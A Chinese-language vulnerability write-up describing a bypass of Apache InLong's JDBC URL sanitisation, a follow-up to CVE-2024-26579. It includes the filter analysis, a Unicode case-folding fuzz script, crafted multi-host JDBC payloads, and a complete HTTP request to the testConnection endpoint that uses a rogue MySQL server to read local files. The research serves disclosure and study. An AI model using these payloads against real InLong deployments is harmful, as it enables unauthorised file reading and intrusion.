# Apache InLong JDBC漏洞挖掘

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# 0x00 前言

本漏洞是对CVE-2024-26579的二次挖掘绕过,可以直接看本篇文章,也可以先阅读之前漏洞的分析文章

https://forum.butian.net/share/3027

Apache InLong < 1.12.0 JDBC反序列化漏洞分析

https://github.com/apache/inlong

# 0x01漏洞点分析

org.apache.inlong.manager.web.controller.DataNodeController#testConnection 该方法是一个测试jdbc链接可用性的功能点

根据不同idbc类型会用到不同的处理实现类

```
Boolean testConnection(DataNodeRequest request): 16 imple
                                                                                Choose Implementation of DataNodeOperator.testConnection(DataNodeRequest) (16 found)
                                                                      © ClickHouseDataNodeOperator (org.apache.inlong.manager.service.node.ck)
          * Oparam request data node request
                                                                      © DorisDataNodeOperator (org.apache.inlong.manager.service.node.doris)
          * Oparam dataNodeEntitu data node entitu
                                                                      © ElasticsearchDataNodeOperator (org.apache.inlong.manager.service.node.es)
          * @param operator operator
                                                                       © HiveDataNodeOperator (org.apache.inlong.manager.service.node.hive
                                                                      © HudiDataNodeOperator (org. apache inlong manager service node budi)
         void updateRelatedStreamSource(DataNodeRequest request,
                                                                      © KafkaDataNodeOperator (org.apache.inlong.manager.service.node.kafka)
                                                                       MySQLDataNodeOperator (org.apache.inlong.manager.service.node.mysql)
                                                                      \textbf{\textcircled{O} OceanBaseDataNodeOperator} \ \ (\textit{org.apache.inlong.manager.service.node.oceanbase})
                                                                        PostgreSQLDataNodeOperator (org.apache.inlong.manager.service.node.postgresql)
                                                                       © PulsarDataNodeOperator (org.apache.inlong.manager.service.node.pulsar)
□ inlong-manager > □ manager-service > src > main > java > org > apache
```

## 具体的Mysql testConnection实现如下

## 先处理jdbc url

filterSensitive方法是对历史jdbc漏洞进行防护的核心方法,具体拦截防护如下:

- 1. 多次URL解码:循环使用 URLDecoder.decode 对URL进行解码,直到URL中不再包含百分号
- 2. **移除空白字符**:通过正则表达式\s+ 匹配所有空白字符(如空格、制表符等)
- 3. 处理查询参数:
  - a. 拆分URL路径与查询参数:将URL按问号(?)拆分为路径和查询参数部分,仅处理查询参数

b. **处理注释符号(#)**: 若查询参数中包含注释符号 # ,则截断注释符号后的内容,仅保留锚点前的参数

#### 4. 过滤敏感参数

a. **移除需删除的敏感参数**:遍历每个查询参数,若参数的键存在于
SENSITIVE\_REMOVE\_PARAM\_MAP (如 password 、 user 等敏感信息),则跳过该参数,不将其加入最终结果。

示例:

password=123&autoReconnect=true → 移除 password=123。

b. **替换需覆盖的敏感参数**: 若参数的键存在于 SENSITIVE\_REPLACE\_PARAM\_MAP (如 autoDeserialize ),则移除原始参数,并添加预定义的键值对。 示例:

原URL中的 autoDeserialize=true 会被替换为 autoDeserialize=false

```
* Oparam url str may have some sensitive params
 * @return str without sensitive param
if (StringUtils.isBlank(url)) {
       return url;
       String resultUrl = url;
       while (resultUrl.contains(InlongConstants.PERCENT)) {
           resultUrl = URLDecoder.decode(resultUrl, enc: "UTF-8");
       resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);
       String sensitiveKey = containSensitiveKey(resultUrl);
       while (StringUtils.isNotBlank(sensitiveKey)) {
           resultUrl = StringUtils.replaceIgnoreCase(resultUrl, searchString: sensitiveKey + InlongConstants.EQUAL + "true",
                  InlongConstants.EMPTY);
           resultUrl = StringUtils.replaceIgnoreCase(resultUrl, searchString: sensitiveKey + InlongConstants.EQUAL + "yes",
                  InlongConstants.EMPTY);
           sensitiveKey = containSensitiveKey(resultUrl);
       if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
           StringBuilder builder = new StringBuilder();
           builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
           builder.append(InlongConstants.QUESTION_MARK);
           List<String> paramList = new ArrayList<>();
           String guaryString = StringHtile substringAfter(resultHr)
```

#### 继续跟入

org.apache.inlong.manager.service.resource.sink.mysql.MySQLJdbcUtils#getConnection

# 这里就存在过滤方法

org.apache.inlong.manager.common.util.UrlVerificationUtils#extractHostAndValidatePortFromJdbcUrl

```
* Oparam fullUrl The full JDBC URL to extract the hostname and port from
           * Oparam prefix The expected prefix of the JDBC URL
           * Othrows Exception If the URL format is invalid or the port is invalid
          public static void extractHostAndValidatePortFromJdbcUrl(String fullUrl, String prefix) throws Exception { 7 usages surrisefromda
31@
              if (!fullUrl.startsWith(prefix)) {
                  throw new Exception("Invalid JDBC URL, it should start with " + prefix);
              String hostPortPart = fullUrl.substring(prefix.length());
              String[] hostPortParts = hostPortPart.split(InlongConstants.SLASH);
              if (hostPortParts.length < 1) {</pre>
                  throw new Exception("Invalid JDBC URL format");
              String hostPort = hostPortParts[0];
              String[] hostPortSplit = hostPort.split(InlongConstants.COLON);
              if (hostPortSplit.length != 2) {
                  throw new Exception("Invalid host:port format in JDBC URL");
              String portStr = hostPortSplit[1];
                  int portNumber = Integer.parseInt(portStr);
                  if (portNumber < 1 || portNumber > 65535) {
                      throw new Exception("Invalid port number in JDBC URL");
              } catch (NumberFormatException e) {
                  throw new Exception("Invalid port number format in JDBC URL");
```

该方法作用为通过对字符串的分割判断,将格式强制限定为*jdbc:mysql://host:port/database* 再往下跟入,最终发起jdbc请求

# 0x02 bypass

从官方部署文档得知,使用的mysql驱动版本为8.0.28



结合之前漏洞用到的payload,得出基础payload如下:

jdbc:mysql://(host=127.0.0.1,port=54324,allowLoadLocalInfile=true,allowUrlInLocalInfile=true,allowLoadLocalInfileInPath=/,maxAllowedPacket=655360)/test?

编写一份测试代码,测试该payload被处理后的结果

```
import org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils;
 2
 3
     import java.sql.DriverManager;
 4
     public class Case {
 5
         private static final String STAR_ROCKS_DRIVER_CLASS =
 6
     "com.mysql.cj.jdbc.Driver";
         private static final String MYSQL_JDBC_PREFIX = "jdbc:mysql://";
 7
 8
         public static void main(String[] args) throws Exception {
 9
             String idbcUrl =
10
     "jdbc:mysql://(host=127.0.0.1,port=54324,allowLoadLocalInfile=true,allowUrlInL
     ocalInfile=true,allowLoadLocalInfileInPath=/,maxAllowedPacket=655360)/test?";
             String s = MySQLSensitiveUrlUtils.filterSensitive(jdbcUrl);
11
12
             System.out.println(s);
13
               UrlVerificationUtils.extractHostAndValidatePortFromJdbcUrl(s,
     MYSQL_JDBC_PREFIX);
14
             Class.forName(STAR_ROCKS_DRIVER_CLASS);
             DriverManager.getConnection(s, "root", "password");
15
      29}
16
17
     }
```

#### 运行结果如下:

```
[ ] 2025-02-07 21:18:08.118 - INFO [ main] i.m.p.u.MySQLSensitiveUrlUtils:112
   - MySQL original URL
   jdbc:mysql://(host=127.0.0.1,port=54324,allowLoadLocalInfile=true,allowUrlInLo
   calInfile=true,allowLoadLocalInfileInPath=/,maxAllowedPacket=655360)/test?
   was replaced to
   jdbc:mysql://(host=127.0.0.1,port=54324,,,allowLoadLocalInfileInPath=/,maxAllo
   wedPacket=655360) / test?
   autoDeserialize=false&allowUrlInLocalInfile=false&allowLoadLocalInfile=false
2
   jdbc:mysql://(host=127.0.0.1,port=54324,,,allowLoadLocalInfileInPath=/,maxAllo
   wedPacket=655360)/test?
   autoDeserialize=false&allowUrlInLocalInfile=false&allowLoadLocalInfile=false
4
   [ ] 2025-02-07 21:18:08.183 - INFO [ main] r.y.c.ClickHouseDriver
5
                                                                              :49
   - Driver registered
```

### 传入的jdbc url被进行了两个处理

1. 删除了敏感设置

# 2. 在url后固定添加了

autoDeserialize=false&allowUrlInLocalInfile=false&allowLoadLocalInfile=false进行变量覆盖

首先是对第二条防护进行处理,在url后如果不添加?就不会添加固定变量

```
| Second Second
```

关于第二点的绕过需要去阅读jdbc源码中对url的处理

在JDBC的BooleanConnectionProperty 类型参数中存在如下判断逻辑

```
void initializeFrom(String extractedValue) throws SQLException {
1
        if (extractedValue != null) {
2
            this.validateStringValues(extractedValue);
3
            this.valueAsObject = extractedValue.equalsIgnoreCase("TRUE") ||
4
    extractedValue.equalsIgnoreCase("YES");
        } else {
5
            this.valueAsObject = this.defaultValue;
6
7
        }
8
9
    }
```

采用了equalsIgnoreCase的对比方式,这是绕过的关键所在,编写fuzz脚本

```
1  String key = "yes";
2  for (int j = 0; j < key.length(); j + +) {
3     for(int i = 127; i <= 1000; i + +) {
4         if
        (String.valueOf((char)i).equalsIgnoreCase(String.valueOf(key.charAt(j)))) {
5             System.out.println(key.charAt(j) + ": " + (char)i);
6             }
7             }
8        }
</pre>
```

"C:\Program Files\Java\jdk1.8.0\_131\bin\java.exe" ...
s: Γ

这就造成了可以利用 autoDeserialize=yel 这样的格式来开启自动反序列

jdbc:mysql://(host=127.0.0.1,port=3306,allowLoadLocalInfile=yef,allowUrlInLocalInfile=yef,allowLoadLocalInfileInPath=/,maxAllowedPacket=655360)/test

```
public class Case {
    private static final String $TAR.ROCKS.DRIVER.CLASS = "com.mysql.cj.jdbc.Driver"; lusage
    private static final String $TAR.ROCKS.DRIVER.CLASS = "com.mysql.cj.jdbc.Driver"; lusage
    private static final String $TAR.ROCKS.DRIVER.CLASS = "com.mysql.cj.jdbc.Driver"; lusage
    private static void main(String[] args) throws Exception {
        String jdbcUrl = "jdbc:mysql.//(host=127.0.0.1.pnot=3306.allowLoadLocalInfile=yef.allowUrlInLocalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUcalInfile=yef.allowUca
```

到这一步就可以成功绕过inlong对jdbc的安全拦截了

但是在真正尝试利用的时候,

UrlVerificationUtils.extractHostAndValidatePortFromJdbcUrl(s, MYSQL\_JDBC\_PREFIX) 抛出了异常,因为我们现在的payload并不是jdbc:mysql://host:port/database 格式,必须寻求新的方法

https://github.com/apache/inlong/issues/9689,在翻阅文章的时候看到了这个issues



#### **Description**


Optimize MySQL JDBC URL check.

In the org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive method only for ?.The later part is used as the parameter string and separated to detect whether there are malicious parameters. This method completely bypasses the parameter detection part. In this method, the string autoDeserialize=false is added to the parameter string to shield the malicious parameters. In mysql-connector-j 8.x, # can comment out the rest of the string in JDBCURL, so I'll bypass this restriction.

通过分段编写可将url写回 jdbc:mysql://host:port,(param)/database 这个格式,得到如下payload

```
jdbc:mysql://127.0.0.1:3306,
  (allowLoadLocalInfile=yef,allowUrlInLocalInfile=yef,allowLoadLocalInfileInPath=
/,maxAllowedPacket=655360)/test
```

debug可以发现在通过分号进行分割后得到两部分数据,第一部分是host,第二部分是port,但是我们这是会多出设置的参数,在下一步转为int进行端口号范围判断的时候就抛出了异常。并且在上一步还限制了分割出来的数字长度只能等于二,到这差不多就完全限制死了。



#### 在一筹莫展的时候,突然想到了如下的写法

jdbc:mysql://127.0.0.1,
 (allowLoadLocalInfile=yef,allowUrlInLocalInfile=yef,allowLoadLocalInfileInPath=
/,maxAllowedPacket=655360),:3307/test

# https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html

#### Jdbc 驱动的官方文档中其实也提到了如上多address写法

List hosts in a comma-separated list:

```
host1, host2, ..., hostN
Each host can be specified in any of the three ways described in Single host above. Here are some examples:

jdbc:mysql://myhost1:1111, myhost2:2222/db
jdbc:mysql://address=(host=myhost1)(port=1111)(key1=value1), address=(host=myhost2)(port=2222)(key2=value2)/db
jdbc:mysql://(host=myhost1, port=1111, key1=value1), (host=myhost2, port=2222, key2=value2)/db
jdbc:mysql://myhost1:1111, (host=myhost2, port=2222, key2=value2)/db
mysqlx://(address=host1:1111, priority=1, key1=value1), (address=host2:2222, priority=2, key2=value2)/db
```

List hosts in a comma-separated list, and then encloses the list by square brackets:

```
[host1, host2, ..., hostN]
```

通过该种写法我们重新划分了 extractHostAndValidatePortFromJdbcUrl 方法对字符串的分割,该方法并没有对host部分进行检测,现在得到的port部分就是我们定义的3307,而我们定义的

# 0x03 漏洞利用

使用https://github.com/rmb122/rogue\_mysql\_server启动fake mysql server

登陆后发送如下数据包

```
1
     POST /inlong/manager/api/node/testConnection HTTP/1.1
    Host: localhost:8084
 2
     sec-ch-ua-platform: "macOS"
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
    Accept: application/json
    sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
 6
 7
     Referer: http://localhost/
     Cookie: JSESSIONID=9e22d7b4-6488-4e2d-845f-55dc62c95cd2;
     Path=/inlong/manager; HttpOnly; SameSite=lax
    tenant: public
 9
     Sec-Fetch-Site: same-origin
10
     sec-ch-ua-mobile: ?0
11
    Accept-Language: zh-CN,zh;q=0.9
12
     Sec-Fetch-Dest: empty
13
14
    Origin: http://localhost
    Accept-Encoding: gzip, deflate, br, zstd
15
     Content-Type: application/json; charset=UTF-8
16
     Sec-Fetch-Mode: cors
17
     Content-Length: 248
18
19
     {"displayName": "test", "type": "MYSQL", "inCharges": "admin", "username": "etc", "tok
20
     en":"inlong","url":"jdbc:mysql://127.0.0.1,
     (allowLoadLocalInfile=yef,allowUrlInLocalInfile=yef,allowLoadLocalInfileInPath=
     .,maxAllowedPacket=655360),:3307/test"}
```

成功读取到文件

